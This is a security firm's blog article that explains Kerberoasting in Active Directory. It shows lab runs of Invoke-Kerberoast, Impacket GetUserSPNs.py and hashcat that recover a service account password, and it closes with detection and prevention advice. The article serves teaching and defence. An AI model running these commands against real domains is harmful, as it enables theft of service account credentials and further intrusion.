Kerberoasting - Stealing Service Account Credentials

Kerberoasting

Stealing Service Account Credentials

Michael Schneider
by Michael Schneider
time to read: 10 minutes

Keypoints

How Kerberoasting is used to steal service account credentials

  • Kerberoasting is a method used to steal service account credentials
  • Part of the service ticket is encrypted with the NT hash of the user
  • Any domain account can request Kerberos service tickets
  • Service tickets can be used to crack passwords offline
  • The creation of Kerberos tickets should be monitored
  • Setting up a honeypot account with SPN simplifies monitoring

We hosted a workshop called Adversary Simulation at Area 41 on June 15 and 16, 2018. I wrote about setting up the workshop test environment back in June. Workshop participants had an opportunity to simulate attacks in a Windows Active Directory environment and exploit vulnerabilities for the purpose of gaining additional rights. One possible attack method in the AD infrastructure is Kerberoasting. In this article I will be discussing Kerberoasting, how attacks are carried out and how they can be detected.

What is Kerberoasting?

The Kerberoasting attack was the subject of Tim Medin’s presentation Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades at Derbycon 2014. The attack involves an effective method that allows normal domain users to get their hands on credentials for service accounts. This attack is most likely to succeed when service accounts have weak passwords.

To understand how Kerberoasting attacks work, it’s helpful to know something about the Kerberos implementation in Windows. Oliver Kunz explains the fundamental concepts in his article Kerberos Key Distribution Center Proxy. In short, when a user logs in, they receive a Ticket Granting Ticket (TGT) from the key distribution center. The TGT is signed by the account krbtgt and is treated as the user’s proof of identity. With the TGT the user can request service tickets (TGS) for specific resources within the domain. Part of a TGS is encrypted with the NT hash (NTLM hash) of the service account for the requested resource. Windows uses service principal names (SPNs) to identify which service account is being used to encrypt the TGS. There are two kinds of SPNs:

Host-based accounts are of no use in Kerberoasting attacks, because a computer account in Active Directory has a randomly generated 128-character long password which is changed every 30 days. But if an SPN is registered for a domain user account in order to run Microsoft SQL server instances, for example, then the NT hash of the user’s password will be used. If a service account has a weak password, the attacker has a good chance of being able to crack it.

Each domain user can request a TGS from a domain controller for any service that has a registered SPN. When the TGS is created, the domain controller does not check whether the requesting user is authorized to access the respective resource. Verifying credentials is left up to the service set up to handle this task in the Kerberos implementation in Windows. A hacker can use this ticket offline to figure out the password for the service account because the ticket has been encrypted with the NT hash of the service account.

In a nutshell, a Kerberoasting attack allows any valid domain account to request a Kerberos service ticket for any service and then use the ticket for offline password cracking attempts.

Launching attacks

There are various ways to request a TGS, including the built-in Windows function SetSPN.exe as well as PowerShell and Python scripts. The PowerShell Empire project offers a module called Invoke-Kerberoast, which identifies all SPNs for a certain domain and requests a TGS for every service account. The TGS can be output directly in the appropriate format for hashcat.

PS C:\> Invoke-Kerberoast -OutputFormat Hashcat

TicketByteHexStream  :
Hash                 : $krb5tgs$23$*srv_database_app01$labs.scip.ch$MSSQLSvc/app01.labs.scip.ch*$0DA02EDC4A5C472A5C66D6
                       A1E4FAF31B$B85C9821DFBB21A3935074934E538B4B7FE72FA413418410C1BBDCAFAD2755678A2E2BBF7816B05593A9F
                       <redacted by scip AG>
SamAccountName       : srv_database_app01
DistinguishedName    : CN=Service Database App01,OU=Service,OU=Accounts,OU=Labs,DC=labs,DC=scip,DC=ch
ServicePrincipalName : MSSQLSvc/app01.labs.scip.ch

A good alternative is Impacket’s GetUserSPN.py, which is a Python script that has the advantage that it runs on Linux and doesn’t use normally monitored functions like cmd.exe or powershell.exe. GetUserSPN.py requires the user name and password of a domain user.

root@attack01:~# ./GetUserSPNs.py -request -dc-ip 192.168.244.102 labs.scip.ch/rtam 
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Password:
ServicePrincipalName         Name                MemberOf                                                            PasswordLastSet      LastLogon           
---------------------------  ------------------  ------------------------------------------------------------------  -------------------  -------------------
MSSQLSvc/app01.labs.scip.ch  srv_database_app01  CN=DL-IT-Local-Admin-App01,OU=Groups,OU=Labs,DC=labs,DC=scip,DC=ch  2018-06-06 12:46:44  2018-09-11 14:31:47 

$krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLSvc/app01.labs.scip.ch*$56cad1b053bc77b6ca5607175fa1eccd$9a5b3fe08b8a2e6e77c75b4a7ec399fdc...<redacted by scip AG>

The output of GetUserSPN.py can also be used directly in hashcat. To crack the passwords, the hash mode 13100 (Kerberos 5 TGS-REP etype 23) is used in hashcat. Passwords can then be cracked with brute-force methods or hashlists.

root@attack01:~# hashcat -m 13100 -a 0 spn.txt /usr/share/wordlists/sqlmap.txt 
hashcat (v4.1.0) starting...

...

$krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLSvc/app01.labs.scip.ch*$56cad1b053bc77b6ca5607175fa1eccd$9a5b3fe08b8a2e6e77c<redacted by scip AG>649a613a63ceed:ZZyZZ56.

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*srv_database_app01$LABS.SCIP.CH$MSSQLS...63ceed
Time.Started.....: Fri Sep 21 09:07:56 2018 (6 secs)
Time.Estimated...: Fri Sep 21 09:08:02 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100,00%)
Speed.Dev.#1.....:   223.4 kH/s (5.13ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1406529/1406529 (100,00%)
Rejected.........: 0/1406529 (0.00%)
Restore.Point....: 1404928/1406529 (99,89%)
Candidates.#1....: zwawywiechec -> zzzzzzzzzzzzzzz
HWMon.Dev.#1.....: N/A

Started: Fri Sep 21 09:07:55 2018
Stopped: Fri Sep 21 09:08:03 2018

The time it takes to crack depends on the complexity of the password. Simple passwords can be cracked in minutes. Eleanore Young discussed strategies for cracking passwords in her article Password Security: When Passwords Are There For The World To See.

Detecting and preventing attacks

The most effective method for preventing Kerberoasting is to use strong passwords that are at least 27 characters long. It’s also important to ensure that all service accounts have secure passwords, and that these are changed on a regular basis.

To monitor the issuing of TGSs, the Audit Kerberos Service Ticket Operations setting must be enabled. Then you can search for event ID 4769 (A Kerberos service ticket was requested). Detecting attacks is no trivial matter, because requesting and issuing TGSs is a normal function invoked every time a user needs access to resources. On the one hand, you can look for users who are generating an excessive number of these events within a short timeframe. You can also set up a honeypot account, manually set its AD attribute adminCount to 1 and create an SPN entry. This will allow ticket events to be filtered through this account.

Filtering by Kerberos service ticket events

The event details show which account has requested the ticket.

Details of a Kerberos service ticket event

Conclusion

Kerberoasting is an efficient technique for hackers who have limited rights within a domain. Depending on the strength of the passwords, an attacker can quickly gain access to multiple accounts and then use them to launch additional attacks and collect data. The attack itself cannot be prevented, but selecting strong passwords can make it more difficult. Service accounts should therefore be treated much like privileged accounts. This includes creating a list of service accounts, checking when the password was last changed, as well as implementing a process for changing passwords on a regular basis.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

You want to test the security of your firewall?

Our experts will get in contact with you!

×
Area41 2024

Area41 2024 - A Recap

Michael Schneider

Reporting and Documenting

Reporting and Documenting

Michael Schneider

Introduction of CVSS v4.0

Introduction of CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here